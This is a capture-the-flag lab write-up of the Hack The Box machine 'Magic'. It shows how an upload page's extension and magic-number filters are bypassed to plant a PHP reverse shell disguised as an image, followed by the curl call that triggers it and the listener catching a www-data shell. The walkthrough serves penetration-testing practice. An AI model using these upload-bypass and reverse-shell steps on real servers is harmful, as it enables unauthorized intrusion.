File_Upload
Upon successful authentication bypass with SQLi, the file upload feature has been confirmed to be present within the target web application at the endpoint; upload.php
It was also found that the uploaded files are stored to the /images/uploads/ directory with the original name preserved while being present on the main page at the index.php file, with an dynamically-changing arbitrary name
In order to exploit the potentially underlying vulnerability, I would to first identify the filters in place both front and back
Frontend Filter?
Judging by the source code of the upload.php file, it includes the JavaScript file named, upload.js, which suggests that this might be the frontend JS filter for file upload
upload.js
The upload.js file seems to be just relevant to the drag&drop feature and doesn’t include any security
This would mean that there is no frontend security for file upload
Backend Filter
The backend security for a file upload feature mostly consists of the following;
- Extension filter
- Size
- Magic Number
- Content-Type header
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ nano shell.php
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ ll shell.php
12K -rw-r--r-- 1 kali kali 9.1K Oct 1 17:49 shell.php
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ file shell.php
shell.php: PHP script, ASCII textI will first attempt to upload a PHP reverse shell with the .php extension to see how the web app responses. It’s about 9.1k in size
Extension Filter
Upload failed with an error, indicating the presence of the extension filter
The web app only allows JPG, JPEG, and PNG
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ mv shell.php shell.pngSo I will change the extension of the PHP reverse shell file to .png to upload again
Now the web app responses with an ambiguous text
It could mean that the web app checks for the magic number
Magic Number
PNG file contains a 8-btye long magic number; 89 50 4E 47 0D 0A 1A 0A
So I will first append an arbitrary 8-byte long text into the shell.png file
I can then change the appended 8-byte long text to match the magic number of PNG file
Success
I get a different result this time. The file has been uploaded.
This confirms the presence of magic number filter
Interestingly, the uploaded file, shell.png, is not present in the main page at the index.php file
The one that shown here is the original test.jpg file
The uploaded file, shell.png, is confirmed to be present in the uploaded directory; /images/uploads/
This would mean that exploiting the file upload feature itself is complete
However, the mechanism within the index.php file that decides what gets to be present and what doesn’t from the /images/uploads/ directory is preventing PHP code execution
I can opt out to embedding PHP code into a valid image file and attempt get code execution directly from it
Embedding
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ cp ~/Pictures/test.jpg webshell.php.jpgI can grab a valid image file and change the extension to contain PHP
Then append the PHP code into the valid image file
The file, webshell.php.jpg, has been uploaded
Navigating to the uploaded file at /images/uploads/webshell.php.jpg, reveals a file corruption
However, I can get PHP code execution
PHP Extension
I uploaded a PHP reverse shell, shell.png, with its magic number altered to match PNG file earlier.
The initial scope of code execution was within the index.php file as it would include the uploaded file with PHP codes in it
However, now that I have confirmed PHP code execution directly from the upload file at the /images/uploads/ directory, it would be unnecessary to continue to poke around the index.php file
I just need to modify the extension of the shell.png file to get code execution
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ mv shell.png shell.php.png
This initially failed to get code execution, but I get a different result by altering the extension again
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ curl http://$IP/images/uploads/shell.php.pngInvoking the PHP reverse shell within the shell.php.png file
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.185] 60554
socket: Shell has connected! PID: 2567
whoami
www-data
hostname
ubuntu
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.185 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:77ae prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:77ae prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:77:ae txqueuelen 1000 (Ethernet)
RX packets 181094 bytes 16267108 (16.2 MB)
RX errors 0 dropped 35 overruns 0 frame 0
TX packets 174735 bytes 50128704 (50.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 12746 bytes 1011089 (1.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 12746 bytes 1011089 (1.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Initial Foothold established to the target system as the www-data user via exploiting the file upload vulnerability